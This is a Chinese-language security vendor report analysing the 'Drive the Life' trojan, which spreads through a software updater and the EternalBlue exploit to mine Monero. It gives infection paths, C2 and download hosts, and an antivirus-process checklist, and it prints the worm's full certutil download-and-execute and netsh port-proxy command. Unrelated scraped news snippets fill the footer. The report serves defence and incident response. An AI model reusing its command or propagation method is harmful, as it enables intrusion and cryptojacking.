门罗币勒索病毒(“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币)

更新时间:2023-06-29 16:24:49

正文内容

腾讯安全御见威胁情报中心监测发现,一款通过“驱动人生”升级通道,并同时利用“永恒之蓝”高危漏洞传播的木马突然爆发,仅2个小时受攻击用户就高达10万。“驱动人生”木马会利用高危漏洞在企业内网呈蠕虫式传播,并进一步下载云控木马,在中毒电脑进行门罗币挖矿。

一、概述

12月14日下午,腾讯安全御见威胁情报中心监测发现,一款通过“驱动人生”升级通道,并同时利用“永恒之蓝”高危漏洞传播的木马突然爆发,仅2个小时受攻击用户就高达10万。

“驱动人生”木马会利用高危漏洞在企业内网呈蠕虫式传播,并进一步下载云控木马,在中毒电脑上进行门罗币挖矿。云控木马对企业信息安全威胁巨大,企业用户须重点关注。

该病毒爆发刚好是周末时间,令企业网管猝不及防,周一工作日员工电脑开机后,建议立刻查杀病毒,再使用杀毒软件的漏洞修复功能安装系统补丁。个人电脑用户使用腾讯电脑管家即可防御。

本次病毒爆发有三个特点:

1.驱动人生升级通道传播的病毒会在中毒电脑安装云控木马;

2.病毒会利用永恒之蓝漏洞在局域网内主动扩散;

3.通过云端控制收集中毒电脑部分信息,接受云端指令在中毒电脑进行门罗币挖矿。

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

木马攻击流程图

二、详细分析

dtlupg.exe访问以下url下载病毒

hxxp://xxxx.update.ackng.com/ziptool/pullexecute/f79cb9d2893b254cc75dfb7f3e454a69.exe

hxxp://xxxx.update.ackng.com/calendar/pullexecute/f79cb9d2893b254cc75dfb7f3e454a69.exe

(注意,为避免网友点击以上链接可以直接下载病毒程序,对部分字符做了隐藏处理)

病毒文件释放在:

C:Program Files (x86)DTLSoftriliUpdaterctrlff79cb9d2893b254cc75dfb7f3e454a69.exe等位置执行。

f79cb9d2893b254cc75dfb7f3e454a69.exe 运行后最终释放出 C:WINDOWSTempsvvhost.exe

(MD5:2E9710A4B9CBA3CD11E977AF87570E3B)运行,svvhost.exe打包了“永恒之蓝”等漏洞攻击工具在内外网进一步扩散。

2.1 病毒母体

F79CB9D2893B254CC75DFB7F3E454A69.exe

运行后将自身拷贝到C:windowssystem32svhost.exe,安装为服务并启动,服务名为Ddiver,并在随后拉起云控模块svhhost.exe、攻击模块svvhost.exe。

运行时先检测互斥体,确定是否已感染过。

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

通过检测以下进程将杀软信息搜集准备上传。

360tray.exe|360sd.exe|avp.exe|KvMonXP.exe|RavMonD.exe|Mcshield.exe|egui.exe|kxetray.exe|knsdtray.exe|TMBMSRV.exe|avcenter.exe|ashDisp.exe|rtvscan.exe|ksafe.exe|QQPCRTP.exe

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

检测到任务管理器及游戏进程则将云控模块svhhost.exe退出。

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

打开互斥体,对象名称为"I am tHe xmr reporter" ,xmr意指xmrig.exe矿机。

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

搜集系统敏感信息上传到hxxp://i.haqo.net/i.png,并接受返回的云控代码等待执行。

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

母体设置进程共享内存HSKALWOEDJSLALQEOD

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

2.2 挖矿

云控木马svhhost.exe其主要功能是,从母体进程svhost.exe共享内存中读取shellcode解密并执行,每隔2000秒读取一次共享内存中的shellcode进行解密执行,共享内存名为HSKALWOEDJSLALQEOD,目前该shellcode主要功能挖矿,不排除后期会拉取其他更加恶意如加密勒索等木马病毒执行

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

云控木马执行流程

云控木马运行后会创建一个线程,该线程函数主要功能是判断进程svhost.exe(母体进程)是否存在,不存在的话则启动该进程,接下来要读取的共享内存数据就是从该进程进行读取

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

创建线程判断母体进程是否存在

调用OpenFileMappingA打开共享内存,读取共享内存数据

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

读取共享内存数据

调用RtlDecompressBuffer函数解压共享内存中的数据,为下一步执行做准备

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

解压共享内存数据

共享内存数据加压完后会执行,目前该shellcode主要功能挖矿,不排除后期会拉取其他更加恶意如加密勒索等木马病毒执行

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

执行shellcode

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

尝试挖矿时通信IP为172.105.204.237

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

2.3 攻击模块

攻击模块从地址hxxp://dl.haqo.net/eb.exez下载,作为子进程Svvhost.Exe启动,分析发现该文件是通过python实现的“永恒之蓝”漏洞利用模块压缩打包程序。

子进程Svvhost.Exe为将python实现的“永恒之蓝”漏洞利用模块压缩打包程序。

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

Mysmb.pyo为攻击时扫描代码。

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

GitHub上也可以看到相关开源代码

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

扫描内网445端口进行攻击

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

不仅攻击内网漏洞机器,还随机找几个外网IP尝试攻击,1次攻击完后沉默20分钟

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

攻击成功后paylaod在中招机器执行以下命令进行内网扩散传播

cmd.exe /c certutil -urlcache -split -f http://dl.haqo.net/dl.exe c:/install.exe&c:/install.exe&netsh firewall add portopening tcp 65531 DNS&netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53

安全建议

1. 服务器暂时关闭不必要的端口(如135、139、445),方法可参考:https://guanjia.qq.com/web_clinic/s8/585.html

2. 企业用户在周一上班后,建议使用腾讯御点查杀病毒(个人用户可使用腾讯电脑管家),然后使用漏洞修复功能,修复全网终端存在的系统高危漏洞;

3. 服务器使用高强度密码,切勿使用弱口令,防止黑客暴力破解;

4. 使用杀毒软件拦截可能的病毒攻击;

5. 推荐企业用户部署腾讯御界高级威胁检测系统防御可能的黑客攻击。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。

“驱动人生”木马详细分析报告 2小时感染10万台电脑挖门罗币

点击更多评论

  • 证券公司信息官

    每经记者:陈晨 每经编辑:赵云今日(3月17日),安信证券发布消息称,公开招聘副总经理1名,分管自营证券投资或资产管理业务。根据安信证券
  • 东方财富保险公

    □记者 谭乐之近日,A股5家上市险企(中国人保、中国人寿、中国平安、中国太保、新华保险)2022年三季报均已发布。数据显示,前三季度,5
  • 宁夏电投钢铁有

    围绕西北地区第一大民营钢企宁夏申银特钢股份有限公司(以下简称“申银特钢”)的债务问题,新黄浦(600638)董事长仇瑜峰与袁永兴、沈水才、杨
  • 欧易哪里看买入

    期权是到期交易的货品到期之后行权的权益,BTC期权就是交易未来BTC行权之后的权益,分为看涨期权跟看跌期权;看涨期权,到期价格高于买入时BT
  • 有人教你用欧易

    三类最易发挥失常的考生1、得失心太重有好胜心这是很好的,但是好胜心太重就成了高考的大忌。很多同学不管是大考小考都非常在乎,哪怕是跟自
  • 全球投资有限公

    新华社北京4月21日电 题:外资加速进入 中国依然是全球投资热土新华社记者孟佳、马欣然、杨晓静最新数据显示,2023年一季度全国实际
  • 欧易商家清退多

    继上周五大跌10%之后,全球最大的虚拟货币交易平台之一火币,今早开盘又一度暴跌超30%……截至发稿,火币跌幅收窄至21.3%。年底前
  • 欧易审核多久(欧

    虽然说比特币在2008年就已经诞生,但是支持者的范围还是比较狭窄,经过多年的努力被少数人认可,比特币等加密货币的信息也是近几年才走进我们的生
文章推荐
  • 合作模式:活动合作、资源互换等

    E-mail:476445525@qq.com